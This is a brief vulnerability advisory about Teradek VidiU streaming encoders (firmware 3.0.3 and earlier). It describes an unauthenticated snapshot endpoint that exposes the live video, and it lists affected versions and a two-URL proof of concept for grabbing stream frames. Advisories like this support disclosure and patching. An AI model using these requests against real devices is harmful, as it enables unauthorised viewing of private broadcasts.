Teradek VidiU Pro 3.0.3 (snapshot.cgi) Stream Disclosure

### Summary The Teradek VidiU gives you the freedom to broadcast live high definition video directly to the Web without a PC. Whether you're streaming out of a video switcher or wirelessly from your camera, VidiU allows you to go live when you want, where you want. VidiU offers API level integration with the Ustream, YouTube Live and Livestream platforms, which makes streaming to your channel as easy as logging into your account. ### Description VidiU suffers from an unauthenticated and unauthorized live stream disclosure when snapshot.cgi script is called. When snapshot.cgi gets called, new snapshot.jpg is created: ``` /tmp/jpeg /tmp/jpeg/snapshot.tmp /tmp/jpeg/snapshot.jpg %ld byte snapshot received and saved at %s {"result":"success","size":%ld,"file":"%s"} /home/www/snapshot.jpg /snapshot.jpg?_=%d ``` ### Vendor Teradek, LLC - https://www.teradek.com ### Affected Version * VidiU, VidiU Mini, VidiU Pro * 3.0.3 (build 32136) * 3.0.2 (build 31225) * 2.4.10 ### Tested On * lighttpd/1.4.48 * lighttpd/1.4.31 ### PoC ``` http://127.0.0.1:8089/cgi-bin/snapshot.cgi <-- Generate new and view (redirects to /snapshot.jpg) http://127.0.0.1:8089/snapshot.jpg <-- View stored ```